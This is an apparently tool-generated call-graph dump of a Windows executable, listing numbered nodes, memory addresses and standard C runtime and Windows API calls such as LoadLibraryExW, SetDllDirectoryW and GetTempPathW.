19552->19555 19554 7ff666def7ab 19553->19554 19557 7ff666dea950 _invalid_parameter_noinfo 37 API calls 19554->19557 19558 7ff666def804 19555->19558 19559 7ff666de4fbc 45 API calls 19556->19559 19560 7ff666def7b6 19557->19560 19561 7ff666dea950 _invalid_parameter_noinfo 37 API calls 19558->19561 19563 7ff666def82b 19559->19563 19560->19527 19562 7ff666def80f 19561->19562 19562->19527 19563->19562 19564 7ff666df054c 51 API calls 19563->19564 19564->19563 16216 7ff666ddccac 16237 7ff666ddce7c 16216->16237 16219 7ff666ddcdf8 16391 7ff666ddd19c IsProcessorFeaturePresent 16219->16391 16221 7ff666ddccc8 __scrt_acquire_startup_lock 16222 7ff666ddce02 16221->16222 16229 7ff666ddcce6 __scrt_release_startup_lock 16221->16229 16223 7ff666ddd19c 7 API calls 16222->16223 16225 7ff666ddce0d __GetCurrentState 16223->16225 16224 7ff666ddcd0b 16226 7ff666ddcd91 16243 7ff666ddd2e4 16226->16243 16228 7ff666ddcd96 16246 7ff666dd1000 16228->16246 16229->16224 16229->16226 16380 7ff666de9b9c 16229->16380 16234 7ff666ddcdb9 16234->16225 16387 7ff666ddd000 16234->16387 16238 7ff666ddce84 16237->16238 16239 7ff666ddce90 __scrt_dllmain_crt_thread_attach 16238->16239 16240 7ff666ddccc0 16239->16240 16241 7ff666ddce9d 16239->16241 16240->16219 16240->16221 16241->16240 16398 7ff666ddd8f8 16241->16398 16425 7ff666dfa540 16243->16425 16245 7ff666ddd2fb GetStartupInfoW 16245->16228 16247 7ff666dd1009 16246->16247 16427 7ff666de54f4 16247->16427 16249 7ff666dd37fb 16434 7ff666dd36b0 16249->16434 16254 7ff666ddc5c0 _log10_special 8 API calls 16257 7ff666dd3ca7 16254->16257 16255 7ff666dd391b 16610 7ff666dd45b0 16255->16610 16256 7ff666dd383c 16601 7ff666dd1c80 16256->16601 16385 7ff666ddd328 GetModuleHandleW 16257->16385 16260 7ff666dd385b 16506 7ff666dd8a20 16260->16506 16263 7ff666dd396a 16633 7ff666dd2710 16263->16633 16265 7ff666dd388e 16273 7ff666dd38bb __std_exception_copy 16265->16273 16605 7ff666dd8b90 16265->16605 16267 7ff666dd395d 16268 7ff666dd3962 16267->16268 16269 7ff666dd3984 16267->16269 16629 7ff666de00bc 16268->16629 16271 7ff666dd1c80 49 API calls 16269->16271 16274 7ff666dd39a3 16271->16274 16275 7ff666dd8a20 14 API calls 16273->16275 16282 7ff666dd38de __std_exception_copy 16273->16282 16279 7ff666dd1950 115 API calls 16274->16279 16275->16282 16276 7ff666dd8b30 40 API calls 16277 7ff666dd3a0b 16276->16277 16278 7ff666dd8b90 40 API calls 16277->16278 16280 7ff666dd3a17 16278->16280 16281 7ff666dd39ce 16279->16281 16283 7ff666dd8b90 40 API calls 16280->16283 16281->16260 16284 7ff666dd39de 16281->16284 16282->16276 16288 7ff666dd390e __std_exception_copy 16282->16288 16285 7ff666dd3a23 16283->16285 16286 7ff666dd2710 54 API calls 16284->16286 16287 7ff666dd8b90 40 API calls 16285->16287 16328 7ff666dd3808 __std_exception_copy 16286->16328 16287->16288 16289 7ff666dd8a20 14 API calls 16288->16289 16290 7ff666dd3a3b 16289->16290 16291 7ff666dd3b2f 16290->16291 16292 7ff666dd3a60 __std_exception_copy 16290->16292 16293 7ff666dd2710 54 API calls 16291->16293 16305 7ff666dd3aab 16292->16305 16519 7ff666dd8b30 16292->16519 16293->16328 16295 7ff666dd8a20 14 API calls 16296 7ff666dd3bf4 __std_exception_copy 16295->16296 16297 7ff666dd3d41 16296->16297 16298 7ff666dd3c46 16296->16298 16644 7ff666dd44d0 16297->16644 16299 7ff666dd3cd4 16298->16299 16300 7ff666dd3c50 16298->16300 16303 7ff666dd8a20 14 API calls 16299->16303 16526 7ff666dd90e0 16300->16526 16307 7ff666dd3ce0 16303->16307 16304 7ff666dd3d4f 16308 7ff666dd3d65 16304->16308 16309 7ff666dd3d71 16304->16309 16305->16295 16310 7ff666dd3c61 16307->16310 16313 7ff666dd3ced 16307->16313 16647 7ff666dd4620 16308->16647 16312 7ff666dd1c80 49 API calls 16309->16312 16317 7ff666dd2710 54 API calls 16310->16317 16314 7ff666dd3cc8 __std_exception_copy 16312->16314 16318 7ff666dd1c80 49 API calls 16313->16318 16319 7ff666dd3dc4 16314->16319 16324 7ff666dd3da7 SetDllDirectoryW LoadLibraryExW 16314->16324 16317->16328 16321 7ff666dd3d0b 16318->16321 16576 7ff666dd9400 16319->16576 16321->16314 16323 7ff666dd3d12 16321->16323 16322 7ff666dd3dd7 SetDllDirectoryW 16327 7ff666dd3e0a 16322->16327 16371 7ff666dd3e5a 16322->16371 16326 7ff666dd2710 54 API calls 16323->16326 16324->16319 16326->16328 16330 7ff666dd8a20 14 API calls 16327->16330 16328->16254 16329 7ff666dd3ffc 16332 7ff666dd4006 PostMessageW GetMessageW 16329->16332 16333 7ff666dd4029 16329->16333 16337 7ff666dd3e16 __std_exception_copy 16330->16337 16331 7ff666dd3f1b 16581 7ff666dd33c0 16331->16581 16332->16333 16724 7ff666dd3360 16333->16724 16340 7ff666dd3ef2 16337->16340 16344 7ff666dd3e4e 16337->16344 16343 7ff666dd8b30 40 API calls 16340->16343 16343->16371 16344->16371 16650 7ff666dd6db0 16344->16650 16371->16329 16371->16331 16381 7ff666de9bd4 16380->16381 16382 7ff666de9bb3 16380->16382 16383 7ff666dea448 45 API calls 16381->16383 16382->16226 16384 7ff666de9bd9 16383->16384 16386 7ff666ddd339 16385->16386 16386->16234 16388 7ff666ddd011 16387->16388 16389 7ff666ddcdd0 16388->16389 16390 7ff666ddd8f8 7 API calls 16388->16390 16389->16224 16390->16389 16392 7ff666ddd1c2 __GetCurrentState memcpy_s 16391->16392 16393 7ff666ddd1e1 RtlCaptureContext RtlLookupFunctionEntry 16392->16393 16394 7ff666ddd20a RtlVirtualUnwind 16393->16394 16395 7ff666ddd246 memcpy_s 16393->16395 16394->16395 16396 7ff666ddd278 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 16395->16396 16397 7ff666ddd2c6 __GetCurrentState 16396->16397 16397->16222 16399 7ff666ddd900 16398->16399 16400 7ff666ddd90a 16398->16400 16404 7ff666dddc94 16399->16404 16400->16240 16405 7ff666dddca3 16404->16405 16406 7ff666ddd905 16404->16406 16412 7ff666ddded0 16405->16412 16408 7ff666dddd00 16406->16408 16409 7ff666dddd2b 16408->16409 16410 7ff666dddd2f 16409->16410 16411 7ff666dddd0e DeleteCriticalSection 16409->16411 16410->16400 16411->16409 16416 7ff666dddd38 16412->16416 16417 7ff666ddde22 TlsFree 16416->16417 16423 7ff666dddd7c __vcrt_InitializeCriticalSectionEx 16416->16423 16418 7ff666ddddaa LoadLibraryExW 16420 7ff666ddddcb GetLastError 16418->16420 16421 7ff666ddde49 16418->16421 16419 7ff666ddde69 GetProcAddress 16419->16417 16420->16423 16421->16419 16422 7ff666ddde60 FreeLibrary 16421->16422 16422->16419 16423->16417 16423->16418 16423->16419 16424 7ff666dddded LoadLibraryExW 16423->16424 16424->16421 16424->16423 16426 7ff666dfa530 16425->16426 16426->16245 16426->16426 16429 7ff666def4f0 16427->16429 16428 7ff666dea884 _invalid_parameter_noinfo 37 API calls 16433 7ff666def56c 16428->16433 16430 7ff666def596 16429->16430 16432 7ff666def543 16429->16432 16737 7ff666def3c8 16430->16737 16432->16428 16433->16249 16745 7ff666ddc8c0 16434->16745 16437 7ff666dd3710 16747 7ff666dd92f0 FindFirstFileExW 16437->16747 16438 7ff666dd36eb GetLastError 16752 7ff666dd2c50 16438->16752 16441 7ff666dd3706 16446 7ff666ddc5c0 _log10_special 8 API calls 16441->16446 16443 7ff666dd3723 16767 7ff666dd9370 CreateFileW 16443->16767 16444 7ff666dd377d 16778 7ff666dd94b0 16444->16778 16449 7ff666dd37b5 16446->16449 16448 7ff666dd378b 16448->16441 16453 7ff666dd2810 49 API calls 16448->16453 16449->16328 16456 7ff666dd1950 16449->16456 16451 7ff666dd3734 16770 7ff666dd2810 16451->16770 16452 7ff666dd374c __vcrt_InitializeCriticalSectionEx 16452->16444 16453->16441 16457 7ff666dd45b0 108 API calls 16456->16457 16458 7ff666dd1985 16457->16458 16459 7ff666dd1c43 16458->16459 16461 7ff666dd7f80 83 API calls 16458->16461 16460 7ff666ddc5c0 _log10_special 8 API calls 16459->16460 16462 7ff666dd1c5e 16460->16462 16463 7ff666dd19cb 16461->16463 16462->16255 16462->16256 16505 7ff666dd1a03 16463->16505 17151 7ff666de0744 16463->17151 16465 7ff666de00bc 74 API calls 16465->16459 16466 7ff666dd19e5 16467 7ff666dd1a08 16466->16467 16468 7ff666dd19e9 16466->16468 17155 7ff666de040c 16467->17155 16469 7ff666de4f78 _get_daylight 11 API calls 16468->16469 16471 7ff666dd19ee 16469->16471 17158 7ff666dd2910 16471->17158 16474 7ff666dd1a45 16478 7ff666dd1a7b 16474->16478 16479 7ff666dd1a5c 16474->16479 16475 7ff666dd1a26 16476 7ff666de4f78 _get_daylight 11 API calls 16475->16476 16477 7ff666dd1a2b 16476->16477 16480 7ff666dd2910 54 API calls 16477->16480 16482 7ff666dd1c80 49 API calls 16478->16482 16481 7ff666de4f78 _get_daylight 11 API calls 16479->16481 16480->16505 16483 7ff666dd1a61 16481->16483 16484 7ff666dd1a92 16482->16484 16485 7ff666dd2910 54 API calls 16483->16485 16486 7ff666dd1c80 49 API calls 16484->16486 16485->16505 16487 7ff666dd1add 16486->16487 16488 7ff666de0744 73 API calls 16487->16488 16489 7ff666dd1b01 16488->16489 16490 7ff666dd1b35 16489->16490 16491 7ff666dd1b16 16489->16491 16493 7ff666de040c _fread_nolock 53 API calls 16490->16493 16492 7ff666de4f78 _get_daylight 11 API calls 16491->16492 16494 7ff666dd1b1b 16492->16494 16495 7ff666dd1b4a 16493->16495 16496 7ff666dd2910 54 API calls 16494->16496 16497 7ff666dd1b6f 16495->16497 16498 7ff666dd1b50 16495->16498 16496->16505 17173 7ff666de0180 16497->17173 16499 7ff666de4f78 _get_daylight 11 API calls 16498->16499 16501 7ff666dd1b55 16499->16501 16503 7ff666dd2910 54 API calls 16501->16503 16503->16505 16504 7ff666dd2710 54 API calls 16504->16505 16505->16465 16507 7ff666dd8a2a 16506->16507 16508 7ff666dd9400 2 API calls 16507->16508 16509 7ff666dd8a49 GetEnvironmentVariableW 16508->16509 16510 7ff666dd8ab2 16509->16510 16511 7ff666dd8a66 ExpandEnvironmentStringsW 16509->16511 16512 7ff666ddc5c0 _log10_special 8 API calls 16510->16512 16511->16510 16513 7ff666dd8a88 16511->16513 16514 7ff666dd8ac4 16512->16514 16515 7ff666dd94b0 2 API calls 16513->16515 16514->16265 16516 7ff666dd8a9a 16515->16516 16517 7ff666ddc5c0 _log10_special 8 API calls 16516->16517 16518 7ff666dd8aaa 16517->16518 16518->16265 16520 7ff666dd9400 2 API calls 16519->16520 16521 7ff666dd8b4c 16520->16521 16522 7ff666dd9400 2 API calls 16521->16522 16523 7ff666dd8b5c 16522->16523 17391 7ff666de82a8 16523->17391 16525 7ff666dd8b6a __std_exception_copy 16525->16305 16527 7ff666dd90f5 16526->16527 17409 7ff666dd8760 GetCurrentProcess OpenProcessToken 16527->17409 16530 7ff666dd8760 7 API calls 16531 7ff666dd9121 16530->16531 16532 7ff666dd9154 16531->16532 16533 7ff666dd913a 16531->16533 16534 7ff666dd26b0 48 API calls 16532->16534 16535 7ff666dd26b0 48 API calls 16533->16535 16536 7ff666dd9167 LocalFree LocalFree 16534->16536 16537 7ff666dd9152 16535->16537 16538 7ff666dd9183 16536->16538 16540 7ff666dd918f 16536->16540 16537->16536 17419 7ff666dd2b50 16538->17419 16541 7ff666ddc5c0 _log10_special 8 API calls 16540->16541 16542 7ff666dd3c55 16541->16542 16542->16310 16543 7ff666dd8850 16542->16543 16544 7ff666dd8868 16543->16544 16545 7ff666dd88ea GetTempPathW GetCurrentProcessId 16544->16545 16546 7ff666dd888c 16544->16546 17428 7ff666dd25c0 16545->17428 16548 7ff666dd8a20 14 API calls 16546->16548 16549 7ff666dd8898 16548->16549 17435 7ff666dd81c0 16549->17435 16556 7ff666dd8918 __std_exception_copy 16562 7ff666dd8955 __std_exception_copy 16556->16562 17432 7ff666de8bd8 16556->17432 16561 7ff666ddc5c0 _log10_special 8 API calls 16563 7ff666dd3cbb 16561->16563 16567 7ff666dd9400 2 API calls 16562->16567 16575 7ff666dd89c4 __std_exception_copy 16562->16575 16563->16310 16563->16314 16568 7ff666dd89a1 16567->16568 16569 7ff666dd89a6 16568->16569 16570 7ff666dd89d9 16568->16570 16571 7ff666dd9400 2 API calls 16569->16571 16572 7ff666de82a8 38 API calls 16570->16572 16573 7ff666dd89b6 16571->16573 16572->16575 16575->16561 16577 7ff666dd9422 MultiByteToWideChar 16576->16577 16578 7ff666dd9446 16576->16578 16577->16578 16580 7ff666dd945c __std_exception_copy 16577->16580 16579 7ff666dd9463 MultiByteToWideChar 16578->16579 16578->16580 16579->16580 16580->16322 16582 7ff666dd33ce memcpy_s 16581->16582 16585 7ff666dd35c7 16582->16585 16587 7ff666dd1c80 49 API calls 16582->16587 16588 7ff666dd35e2 16582->16588 16593 7ff666dd35c9 16582->16593 16595 7ff666dd2a50 54 API calls 16582->16595 16598 7ff666dd35d0 16582->16598 17706 7ff666dd4550 16582->17706 17712 7ff666dd7e10 16582->17712 17723 7ff666dd1600 16582->17723 17771 7ff666dd7110 16582->17771 17775 7ff666dd4180 16582->17775 17819 7ff666dd4440 16582->17819 16583 7ff666ddc5c0 _log10_special 8 API calls 16584 7ff666dd3664 16583->16584 16584->16328 16600 7ff666dd90c0 LocalFree 16584->16600 16585->16583 16587->16582 16590 7ff666dd2710 54 API calls 16588->16590 16590->16585 16594 7ff666dd2710 54 API calls 16593->16594 16594->16585 16595->16582 16599 7ff666dd2710 54 API calls 16598->16599 16599->16585 16602 7ff666dd1ca5 16601->16602 16603 7ff666de49f4 49 API calls 16602->16603 16604 7ff666dd1cc8 16603->16604 16604->16260 16606 7ff666dd9400 2 API calls 16605->16606 16607 7ff666dd8ba4 16606->16607 16608 7ff666de82a8 38 API calls 16607->16608 16609 7ff666dd8bb6 __std_exception_copy 16608->16609 16609->16273 16611 7ff666dd45bc 16610->16611 16612 7ff666dd9400 2 API calls 16611->16612 16613 7ff666dd45e4 16612->16613 16614 7ff666dd9400 2 API calls 16613->16614 16615 7ff666dd45f7 16614->16615 18002 7ff666de6004 16615->18002 16618 7ff666ddc5c0 _log10_special 8 API calls 16619 7ff666dd392b 16618->16619 16619->16263 16620 7ff666dd7f80 16619->16620 16621 7ff666dd7fa4 16620->16621 16622 7ff666de0744 73 API calls 16621->16622 16623 7ff666dd807b __std_exception_copy 16621->16623 16624 7ff666dd7fc0 16622->16624 16623->16267 16624->16623 18393 7ff666de7938 16624->18393 16626 7ff666de0744 73 API calls 16628 7ff666dd7fd5 16626->16628 16627 7ff666de040c _fread_nolock 53 API calls 16627->16628 16628->16623 16628->16626 16628->16627 16630 7ff666de00ec 16629->16630 18408 7ff666ddfe98 16630->18408 16632 7ff666de0105 16632->16263 16634 7ff666ddc8c0 16633->16634 16635 7ff666dd2734 GetCurrentProcessId 16634->16635 16636 7ff666dd1c80 49 API calls 16635->16636 16637 7ff666dd2787 16636->16637 16638 7ff666de49f4 49 API calls 16637->16638 16639 7ff666dd27cf 16638->16639 16640 7ff666dd2620 12 API calls 16639->16640 16641 7ff666dd27f1 16640->16641 16642 7ff666ddc5c0 _log10_special 8 API calls 16641->16642 16643 7ff666dd2801 16642->16643 16643->16328 16645 7ff666dd1c80 49 API calls 16644->16645 16646 7ff666dd44ed 16645->16646 16646->16304 16648 7ff666dd1c80 49 API calls 16647->16648 16649 7ff666dd4650 16648->16649 16649->16314 16651 7ff666dd6dc5 16650->16651 16652 7ff666de4f78 _get_daylight 11 API calls 16651->16652 16655 7ff666dd3e6c 16651->16655 16653 7ff666dd6dd2 16652->16653 16654 7ff666dd2910 54 API calls 16653->16654 16654->16655 16656 7ff666dd7330 16655->16656 18419 7ff666dd1470 16656->18419 16658 7ff666dd7358 16659 7ff666dd4620 49 API calls 16658->16659 16669 7ff666dd74a9 __std_exception_copy 16658->16669 18525 7ff666dd6350 16724->18525 16732 7ff666dd3399 16733 7ff666dd3670 16732->16733 16734 7ff666dd367e 16733->16734 16744 7ff666de54dc EnterCriticalSection 16737->16744 16746 7ff666dd36bc GetModuleFileNameW 16745->16746 16746->16437 16746->16438 16748 7ff666dd932f FindClose 16747->16748 16749 7ff666dd9342 16747->16749 16748->16749 16750 7ff666ddc5c0 _log10_special 8 API calls 16749->16750 16751 7ff666dd371a 16750->16751 16751->16443 16751->16444 16753 7ff666ddc8c0 16752->16753 16754 7ff666dd2c70 GetCurrentProcessId 16753->16754 16783 7ff666dd26b0 16754->16783 16756 7ff666dd2cb9 16787 7ff666de4c48 16756->16787 16759 7ff666dd26b0 48 API calls 16760 7ff666dd2d34 FormatMessageW 16759->16760 16762 7ff666dd2d7f MessageBoxW 16760->16762 16763 7ff666dd2d6d 16760->16763 16765 7ff666ddc5c0 _log10_special 8 API calls 16762->16765 16764 7ff666dd26b0 48 API calls 16763->16764 16764->16762 16766 7ff666dd2daf 16765->16766 16766->16441 16768 7ff666dd93b0 GetFinalPathNameByHandleW CloseHandle 16767->16768 16769 7ff666dd3730 16767->16769 16768->16769 16769->16451 16769->16452 16771 7ff666dd2834 16770->16771 16772 7ff666dd26b0 48 API calls 16771->16772 16773 7ff666dd2887 16772->16773 16774 7ff666de4c48 48 API calls 16773->16774 16775 7ff666dd28d0 MessageBoxW 16774->16775 16776 7ff666ddc5c0 _log10_special 8 API calls 16775->16776 16777 7ff666dd2900 16776->16777 16777->16441 16779 7ff666dd9505 16778->16779 16780 7ff666dd94da WideCharToMultiByte 16778->16780 16781 7ff666dd9522 WideCharToMultiByte 16779->16781 16782 7ff666dd951b __std_exception_copy 16779->16782 16780->16779 16780->16782 16781->16782 16782->16448 16784 7ff666dd26d5 16783->16784 16785 7ff666de4c48 48 API calls 16784->16785 16786 7ff666dd26f8 16785->16786 16786->16756 16789 7ff666de4ca2 16787->16789 16788 7ff666de4cc7 16790 7ff666dea884 _invalid_parameter_noinfo 37 API calls 16788->16790 16789->16788 16791 7ff666de4d03 16789->16791 16804 7ff666de4cf1 16790->16804 16805 7ff666de3000 16791->16805 16793 7ff666de4de4 16796 7ff666dea9b8 __free_lconv_num 11 API calls 16793->16796 16795 7ff666ddc5c0 _log10_special 8 API calls 16797 7ff666dd2d04 16795->16797 16796->16804 16797->16759 16798 7ff666de4e0a 16798->16793 16800 7ff666de4e14 16798->16800 16799 7ff666de4db9 16801 7ff666dea9b8 __free_lconv_num 11 API calls 16799->16801 16803 7ff666dea9b8 __free_lconv_num 11 API calls 16800->16803 16801->16804 16802 7ff666de4db0 16802->16793 16802->16799 16803->16804 16804->16795 16806 7ff666de303e 16805->16806 16812 7ff666de302e 16805->16812 16807 7ff666de3075 16806->16807 16808 7ff666de3047 16806->16808 16811 7ff666de306d 16807->16811 16807->16812 16816 7ff666de3a14 16807->16816 16849 7ff666de3460 16807->16849 16886 7ff666de2bf0 16807->16886 16810 7ff666dea884 _invalid_parameter_noinfo 37 API calls 16808->16810 16809 7ff666dea884 _invalid_parameter_noinfo 37 API calls 16809->16811 16810->16811 16811->16793 16811->16798 16811->16799 16811->16802 16812->16809 16817 7ff666de3ac7 16816->16817 16818 7ff666de3a56 16816->16818 16821 7ff666de3b20 16817->16821 16822 7ff666de3acc 16817->16822 16819 7ff666de3af1 16818->16819 16820 7ff666de3a5c 16818->16820 16909 7ff666de1dc4 16819->16909 16825 7ff666de3a61 16820->16825 16826 7ff666de3a90 16820->16826 16827 7ff666de3b2a 16821->16827 16828 7ff666de3b37 16821->16828 16832 7ff666de3b2f 16821->16832 16823 7ff666de3ace 16822->16823 16824 7ff666de3b01 16822->16824 16835 7ff666de3add 16823->16835 16837 7ff666de3a70 16823->16837 16916 7ff666de19b4 16824->16916 16825->16828 16830 7ff666de3a67 16825->16830 16826->16830 16826->16832 16827->16819 16827->16832 16923 7ff666de471c 16828->16923 16830->16837 16838 7ff666de3aa2 16830->16838 16844 7ff666de3a8b 16830->16844 16847 7ff666de3b60 16832->16847 16927 7ff666de21d4 16832->16927 16835->16819 16839 7ff666de3ae2 16835->16839 16837->16847 16889 7ff666de41c8 16837->16889 16838->16847 16899 7ff666de4504 16838->16899 16839->16847 16905 7ff666de45c8 16839->16905 16841 7ff666ddc5c0 _log10_special 8 API calls 16843 7ff666de3e5a 16841->16843 16843->16807 16844->16847 16848 7ff666de3d4c 16844->16848 16934 7ff666de4830 16844->16934 16847->16841 16848->16847 16940 7ff666deea78 16848->16940 16850 7ff666de3484 16849->16850 16851 7ff666de346e 16849->16851 16852 7ff666dea884 _invalid_parameter_noinfo 37 API calls 16850->16852 16855 7ff666de34c4 16850->16855 16853 7ff666de3ac7 16851->16853 16854 7ff666de3a56 16851->16854 16851->16855 16852->16855 16858 7ff666de3b20 16853->16858 16859 7ff666de3acc 16853->16859 16856 7ff666de3af1 16854->16856 16857 7ff666de3a5c 16854->16857 16855->16807 16867 7ff666de1dc4 38 API calls 16856->16867 16862 7ff666de3a61 16857->16862 16863 7ff666de3a90 16857->16863 16865 7ff666de3b2a 16858->16865 16866 7ff666de3b37 16858->16866 16871 7ff666de3b2f 16858->16871 16860 7ff666de3ace 16859->16860 16861 7ff666de3b01 16859->16861 16864 7ff666de3a70 16860->16864 16873 7ff666de3add 16860->16873 16869 7ff666de19b4 38 API calls 16861->16869 16862->16866 16868 7ff666de3a67 16862->16868 16863->16868 16863->16871 16870 7ff666de41c8 47 API calls 16864->16870 16884 7ff666de3b60 16864->16884 16865->16856 16865->16871 16872 7ff666de471c 45 API calls 16866->16872 16881 7ff666de3a8b 16867->16881 16868->16864 16874 7ff666de3aa2 16868->16874 16868->16881 16869->16881 16870->16881 16875 7ff666de21d4 38 API calls 16871->16875 16871->16884 16872->16881 16873->16856 16876 7ff666de3ae2 16873->16876 16877 7ff666de4504 46 API calls 16874->16877 16874->16884 16875->16881 16879 7ff666de45c8 37 API calls 16876->16879 16876->16884 16877->16881 16878 7ff666ddc5c0 _log10_special 8 API calls 16880 7ff666de3e5a 16878->16880 16879->16881 16880->16807 16882 7ff666de4830 45 API calls 16881->16882 16881->16884 16885 7ff666de3d4c 16881->16885 16882->16885 16883 7ff666deea78 46 API calls 16883->16885 16884->16878 16885->16883 16885->16884 17134 7ff666de1038 16886->17134 16891 7ff666de41ee 16889->16891 16952 7ff666de0bf0 16891->16952 16895 7ff666de4830 45 API calls 16896 7ff666de4333 16895->16896 16897 7ff666de4830 45 API calls 16896->16897 16898 7ff666de43c1 16896->16898 16897->16898 16898->16844 16901 7ff666de4539 16899->16901 16900 7ff666de457e 16900->16844 16901->16900 16902 7ff666de4557 16901->16902 16903 7ff666de4830 45 API calls 16901->16903 16904 7ff666deea78 46 API calls 16902->16904 16903->16902 16904->16900 16908 7ff666de45e9 16905->16908 16906 7ff666dea884 _invalid_parameter_noinfo 37 API calls 16907 7ff666de461a 16906->16907 16907->16844 16908->16906 16908->16907 16910 7ff666de1df7 16909->16910 16911 7ff666de1e26 16910->16911 16913 7ff666de1ee3 16910->16913 16915 7ff666de1e63 16911->16915 17088 7ff666de0c98 16911->17088 16914 7ff666dea884 _invalid_parameter_noinfo 37 API calls 16913->16914 16914->16915 16915->16844 16917 7ff666de19e7 16916->16917 16918 7ff666de1a16 16917->16918 16920 7ff666de1ad3 16917->16920 16919 7ff666de0c98 12 API calls 16918->16919 16922 7ff666de1a53 16918->16922 16919->16922 16921 7ff666dea884 _invalid_parameter_noinfo 37 API calls 16920->16921 16921->16922 16922->16844 16924 7ff666de475f 16923->16924 16926 7ff666de4763 __crtLCMapStringW 16924->16926 17096 7ff666de47b8 16924->17096 16926->16844 16928 7ff666de2207 16927->16928 16929 7ff666de2236 16928->16929 16931 7ff666de22f3 16928->16931 16930 7ff666de0c98 12 API calls 16929->16930 16933 7ff666de2273 16929->16933 16930->16933 16932 7ff666dea884 _invalid_parameter_noinfo 37 API calls 16931->16932 16932->16933 16933->16844 16935 7ff666de4847 16934->16935 17100 7ff666deda28 16935->17100 16941 7ff666deeaa9 16940->16941 16949 7ff666deeab7 16940->16949 16942 7ff666deead7 16941->16942 16943 7ff666de4830 45 API calls 16941->16943 16941->16949 16944 7ff666deeb0f 16942->16944 16945 7ff666deeae8 16942->16945 16943->16942 16947 7ff666deeb9a 16944->16947 16948 7ff666deeb39 16944->16948 16944->16949 17124 7ff666df0110 16945->17124 16950 7ff666def910 _fread_nolock MultiByteToWideChar 16947->16950 16948->16949 17127 7ff666def910 16948->17127 16949->16848 16950->16949 16953 7ff666de0c27 16952->16953 16959 7ff666de0c16 16952->16959 16954 7ff666ded66c _fread_nolock 12 API calls 16953->16954 16953->16959 16955 7ff666de0c54 16954->16955 16956 7ff666dea9b8 __free_lconv_num 11 API calls 16955->16956 16958 7ff666de0c68 16955->16958 16956->16958 16957 7ff666dea9b8 __free_lconv_num 11 API calls 16957->16959 16958->16957 16960 7ff666dee5e0 16959->16960 16961 7ff666dee630 16960->16961 16962 7ff666dee5fd 16960->16962 16961->16962 16965 7ff666dee662 16961->16965 16963 7ff666dea884 _invalid_parameter_noinfo 37 API calls 16962->16963 16964 7ff666de4311 16963->16964 16964->16895 16964->16896 16971 7ff666dee775 16965->16971 16975 7ff666dee6aa 16965->16975 16966 7ff666dee867 17015 7ff666dedacc 16966->17015 16968 7ff666dee82d 17008 7ff666dede64 16968->17008 16970 7ff666dee7fc 17001 7ff666dee144 16970->17001 16971->16966 16971->16968 16971->16970 16972 7ff666dee7bf 16971->16972 16974 7ff666dee7b5 16971->16974 16991 7ff666dee374 16972->16991 16974->16968 16977 7ff666dee7ba 16974->16977 16975->16964 16982 7ff666dea514 16975->16982 16977->16970 16977->16972 16980 7ff666dea970 _isindst 17 API calls 16981 7ff666dee8c4 16980->16981 16983 7ff666dea521 16982->16983 16984 7ff666dea52b 16982->16984 16983->16984 16986 7ff666dea546 16983->16986 16985 7ff666de4f78 _get_daylight 11 API calls 16984->16985 16990 7ff666dea532 16985->16990 16988 7ff666dea53e 16986->16988 16989 7ff666de4f78 _get_daylight 11 API calls 16986->16989 16987 7ff666dea950 _invalid_parameter_noinfo 37 API calls 16987->16988 16988->16964 16988->16980 16989->16990 16990->16987 17024 7ff666df411c 16991->17024 16995 7ff666dee41c 16996 7ff666dee471 16995->16996 16998 7ff666dee43c 16995->16998 17000 7ff666dee420 16995->17000 17077 7ff666dedf60 16996->17077 17073 7ff666dee21c 16998->17073 17000->16964 17002 7ff666df411c 38 API calls 17001->17002 17003 7ff666dee18e 17002->17003 17004 7ff666df3b64 37 API calls 17003->17004 17005 7ff666dee1de 17004->17005 17006 7ff666dee1e2 17005->17006 17007 7ff666dee21c 45 API calls 17005->17007 17006->16964 17007->17006 17009 7ff666df411c 38 API calls 17008->17009 17010 7ff666dedeaf 17009->17010 17011 7ff666df3b64 37 API calls 17010->17011 17012 7ff666dedf07 17011->17012 17013 7ff666dedf0b 17012->17013 17014 7ff666dedf60 45 API calls 17012->17014 17013->16964 17014->17013 17016 7ff666dedb44 17015->17016 17017 7ff666dedb11 17015->17017 17019 7ff666dedb5c 17016->17019 17021 7ff666dedbdd 17016->17021 17018 7ff666dea884 _invalid_parameter_noinfo 37 API calls 17017->17018 17023 7ff666dedb3d memcpy_s 17018->17023 17020 7ff666dede64 46 API calls 17019->17020 17020->17023 17022 7ff666de4830 45 API calls 17021->17022 17021->17023 17022->17023 17023->16964 17025 7ff666df416f fegetenv 17024->17025 17026 7ff666df7e9c 37 API calls 17025->17026 17029 7ff666df41c2 17026->17029 17027 7ff666df42b2 17030 7ff666df7e9c 37 API calls 17027->17030 17028 7ff666df41ef 17032 7ff666dea514 __std_exception_copy 37 API calls 17028->17032 17029->17027 17033 7ff666df428c 17029->17033 17034 7ff666df41dd 17029->17034 17031 7ff666df42dc 17030->17031 17035 7ff666df7e9c 37 API calls 17031->17035 17036 7ff666df426d 17032->17036 17038 7ff666dea514 __std_exception_copy 37 API calls 17033->17038 17034->17027 17034->17028 17039 7ff666df42ed 17035->17039 17037 7ff666df5394 17036->17037 17044 7ff666df4275 17036->17044 17040 7ff666dea970 _isindst 17 API calls 17037->17040 17038->17036 17041 7ff666df8090 20 API calls 17039->17041 17042 7ff666df53a9 17040->17042 17051 7ff666df4356 memcpy_s 17041->17051 17043 7ff666ddc5c0 _log10_special 8 API calls 17045 7ff666dee3c1 17043->17045 17044->17043 17069 7ff666df3b64 17045->17069 17046 7ff666df46ff memcpy_s 17047 7ff666df4397 memcpy_s 17063 7ff666df4cdb memcpy_s 17047->17063 17066 7ff666df47f3 memcpy_s 17047->17066 17048 7ff666df4a3f 17049 7ff666df3c80 37 API calls 17048->17049 17055 7ff666df5157 17049->17055 17050 7ff666df49eb 17050->17048 17052 7ff666df53ac memcpy_s 37 API calls 17050->17052 17051->17046 17051->17047 17053 7ff666de4f78 _get_daylight 11 API calls 17051->17053 17052->17048 17054 7ff666df47d0 17053->17054 17056 7ff666dea950 _invalid_parameter_noinfo 37 API calls 17054->17056 17057 7ff666df53ac memcpy_s 37 API calls 17055->17057 17061 7ff666df51b2 17055->17061 17056->17047 17057->17061 17058 7ff666df5338 17059 7ff666df7e9c 37 API calls 17058->17059 17059->17044 17060 7ff666de4f78 11 API calls _get_daylight 17060->17066 17061->17058 17064 7ff666df3c80 37 API calls 17061->17064 17068 7ff666df53ac memcpy_s 37 API calls 17061->17068 17062 7ff666de4f78 11 API calls _get_daylight 17062->17063 17063->17048 17063->17050 17063->17062 17065 7ff666dea950 37 API calls 